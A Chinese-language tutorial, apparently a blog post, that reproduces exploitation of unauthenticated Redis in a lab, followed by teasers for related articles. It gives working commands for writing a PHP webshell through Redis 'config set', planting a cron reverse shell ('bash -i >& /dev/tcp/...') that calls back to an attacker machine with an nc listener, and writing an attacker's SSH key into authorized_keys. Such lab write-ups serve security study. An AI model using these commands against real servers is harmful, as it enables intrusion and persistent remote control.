关于Redis未授权访问的问题

目录
  • 漏洞原理
  • 利用条件
  • 漏洞危害
  • 漏洞复现
    • 搭建测试环境
    • 攻击机Kali 2021.1
    • 利用redis写入webshell
    • 利用redis反弹shell
    • 利用redis写入ssh公钥
  • 总结

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

利用条件

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

漏洞危害

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
  • 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

漏洞复现

搭建测试环境

受害机Ubuntu 20.04

  1. 安装php:sudo apt install php7.4-cli libapache2-mod-php
  2. 安装apache2:sudo apt install apache2 。并启动apache服务:sudo service apache2 start
  3. 安装redis,环境需要4.x/5.x以下的redis版本,这里下载3.2版本的,并解压、编译:
$ wget http://download.redis.io/releases/redis-3.2.11.tar.gz
$ tar -zxvf redis-3.2.11.tar.gz
$ cd redis-3.2.11
$ make

如果make 时遇到以下报错,需要安装gcc,并设置启动参数:

错误信息如下:

/bin/sh: cc: command not found

解决办法,安装gcc:

sudo apt install gcc

然后设置make启动参数后即可运行:

make MALLOC=libc

4.编译完成后,进入src目录下,复制redis-cliredis-server/usr/bin/目录下:

$ cd src
$ sudo cp redis-cli redis-server /usr/bin/

5.回到redis-3.2.11目录中,复制redis.conf文件到/etc/目录下:

$ cd ..
$ sudo cp redis.conf /etc/

使用sudo vim /etc/redis.conf 编辑配置文件,将61行的IP注释起来,表示外网可访问,如下:

然后将80行的yes改为no,表示关闭保护模式,如下:


然后保存退出。

使用redis-server /etc/redis.conf启动redis服务:

打开一个新的终端,在窗口使用redis-cli 命令,测试能否正常连接redis:

使用quit退出redis命令行,然后在Ubuntu终端中开启ssh服务,确保后面能使用ssh进行连接:

$ sudo service ssh start

攻击机Kali 2021.1

只要能连上redis即可,需要有redis-cli 命令,如果没有redis,需要进行安装:
bash $ sudo apt install redis-tools

利用redis写入webshell

利用条件

  • 服务器开着web服务
  • redis有web目录写权限,可以往web路径写入文件

利用过程

测试使用Kali连接Ubuntu的redis服务:

$ redis-cli -h 192.168.101.6

如果成功连接上受害机,说明受害机存在redis未授权访问漏洞。

redis可以写入文件。使用config get dir 命令可以查看写入文件的目录,并且可以用来修改写入文件的目录。如下:

因为web服务无法访问到/home目录下的内容,所以需要修改redis保存文件的路径,将其修改到网站的根目录下,也就是 默认的 /var/www/html 目录。因此redis需要具有对/var/www/html 写入的权限,使用config set dir /var/www/html 来修改dir的值:

然后使用redis写入文件:

$ config set dbfilename shell.php
$ set xxx "<?php phpinfo(); ?>"
$ save

然而并不能写入文件,结果如下:

具体原因是因为redis对web根目录没有写入权限,这是一个比较重要的点,也是能否利用未授权访问来getshell的因素之一。为了测试,此时需要手动在受害机网站根目录中,新建一个其他用户具有可写入权限的文件夹,然后再将redis保存文件的dir值修改为新建文件夹的路径:


此时再次进行写入,可以看到已经保存成功了:

成功写入文件后可以在受害机中进行查看:

现在在浏览器中访问这个页面试试:

从上面的访问结果可以看出我们写入的php代码已经成功执行并返回。再次写入文件,将一句话木马写入到目录中:

访问webshell页面:

使用蚁剑连接webshell:

利用redis反弹shell

原理:在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入Linux定时计划,反弹shell。

利用条件对/var/spool/cron文件夹有写入权限

利用过程首先在攻击机监听一个端口:

$ nc -lvnp 6666

在攻击机开启新的命令行窗口,连接受害机的redis服务,然后执行下面的命令:

$ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n"
$ config set dir /var/spool/cron/
$ config set dbfilename root
$ save

注意此处的计划任务命令,如果在Ubuntu中,是无法反弹shell的,原因是因为ubuntu会将redis写入的缓存乱码当作命令来解释,导致执行不成功。而centos不会对乱码进行解释,可以成功执行反弹shell的命令。

可以在受害机查看文件是否保存成功:

但是在ubuntu下无法反弹shell,这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。

利用redis写入ssh公钥

利用条件受害机必须有~/.ssh文件夹,无论是普通用户还是root用户,否则无法在redis中设置dir的值

直接使用~/.ssh是不行的,需要绝对路径。

另一个条件就是需要知道家目录的名称,比如上面的/home/unravel/.ssh,必须知道unravel

利用过程首先在攻击机生成ssh公钥,用于连接受害机时来使用私钥验证登陆:

$ ssh-keygen 

将公钥开头和结尾添加两行换行,并存储为新的文本文件,用于redis在连接时写入的内容。添加两个换行的原因是对redis缓存垃圾数据和公钥的内容分隔开来,以免ssh连接失败。可以使用bash命令来完成这个操作:

(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt

使用攻击机连接受害机时写入变量xx存储攻击机的公钥:

cat key.txt | redis-cli -h 192.168.101.6 -x set x

使用攻击机连接受害机redis,将写入的文件路径设置为/home/unravel/.ssh,并设置保存的文件名称为authorized_keys

注意authorized_keys名称是固定的,不能随便改,否则连接不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save

然后在受害机文件中查看一下:

在攻击机尝试使用本地私钥对受害机进行连接:

$ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa

总结

Redis在实战中算是比较常用的端口利用了。除了反弹shell的方法在测试的时候没有实现getshell以外,还有一种主从复制的方式,后面有空补上。
参考链接:https://paper.seebug.org/975/

到此这篇关于Redis未授权访问的文章就介绍到这了,更多相关Redis未授权访问内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • python脚本实现Redis未授权批量提权

    前言 本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧. 安装依赖 sudo easy_install redis 使用 redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example: -----------------------------------

  • 关于Redis未授权访问漏洞利用的介绍与修复建议

    前言 本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧. 一.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Re

  • Redis未授权访问配合SSH key文件利用详解

    前言 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API. Redis 未授权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也做过相关的应急,今日,又出现 Redis 未授权访问配合 SSH key 文件被利用的情况,导致一大批 Redis 服务器被黑,今天我们来简要的分析下. 一.漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有

  • 关于Redis未授权访问的问题

    目录 漏洞原理 利用条件 漏洞危害 漏洞复现 搭建测试环境 攻击机Kali 2021.1 利用redis写入webshell 利用redis反弹shell 利用redis写入ssh公钥 总结 漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读

  • 解析Redis未授权访问漏洞复现与利用危害

    目录 一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: 2.漏洞的危害 3.漏洞的影响 二.漏洞复现: 三.未授权访问漏洞测试 0x01 利用redis写webshell 0x02 利用"公私钥"认证获取root权限 0x03利用crontab反弹shell 四.Pyhton脚本自动化测试 五.解决方案 于2019.10.9日补充 redis主从复制rce 于2021.01.02补充 ssrf,redis与gopher 参考文章: 一.漏洞简介以及危害: 1.什么是redi

  • Zookeeper未授权访问测试问题

    前言 ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件.它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护.域名服务.分布式同步.组服务等. zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露. 默认使用端口:2181.2182. 探测Zookeeper服务开放 如使用nmap探测某个目标

  • SpringBoot Actuator未授权访问漏洞修复详解

    目录 1.写在前面 2.问题描述 3.安全问题 4.禁止方法 5.完全禁用Actuator 1.写在前面 目前SpringBoot得框架,越来越广泛,大多数中小型企业,在开发新项目得时候.后端语言使用java得情况下,首选都会使用到SpringBoot. 在很多得一些开源得框架中,例如: ruoyi若以,这些. 不知道是出于什么原因?我们都会在这些框架中得pom文件中找到SpringBoot Actuator的依赖. 嘿,这Actuator估计很多人都没有真真实实使用过,但是就会出现在pom文件

  • windows 2008 iis 提示401未授权 由于凭据无效,访问被拒绝

    401 - 未授权: 由于凭据无效,访问被拒绝.您无权使用所提供的凭据查看此目录或页面. 按照IIS默认向导配置完毕,访问时就是这种错误. 解决方案: 点开身份验证 改为启用就OK了 重启一下IIS. 如果你上在办法没有解决可参考 1.打开"IIS信息服务管理器"-->选择你发布的网站-->选择功能视图中的"身份验证"-->右键匿名身份验证,选择"编辑",选择"特定用户IUSR":2.右键要发布的网站文件夹,

  • 基于Docker的MongoDB实现授权访问的方法

    基于Docker部署一个数据库实例通常比直接在服务器上安装数据库还要简单,Gevin在开发环境中经常使用基于docker的数据库服务,docker也渐渐成为Gevin在Linux上安装MongoDB的首选方式,由于MongoDB默认是不用通过认证就能直接连接的,出于安全考虑,在公网上部署MongoDB时,务必设置authentication机制,以避免类似 "黑客赎金" 问题的发生. 那么,基于Docker拉起的MongoDB,如何实现通过用户名密码访问指定数据库呢?方法很简单,但前提

  • Android实现授权访问网页的方法

    本文实例讲述了Android授权访问网页的实现方法,即使用Webview显示OAuth Version 2.a ImplicitGrant方式授权的页,但是对于移动终端不建议使用Authorize code grant方式授权. 具体功能代码如下所示: import android.annotation.SuppressLint; import android.app.Activity; import android.content.Intent; import android.graphics

随机推荐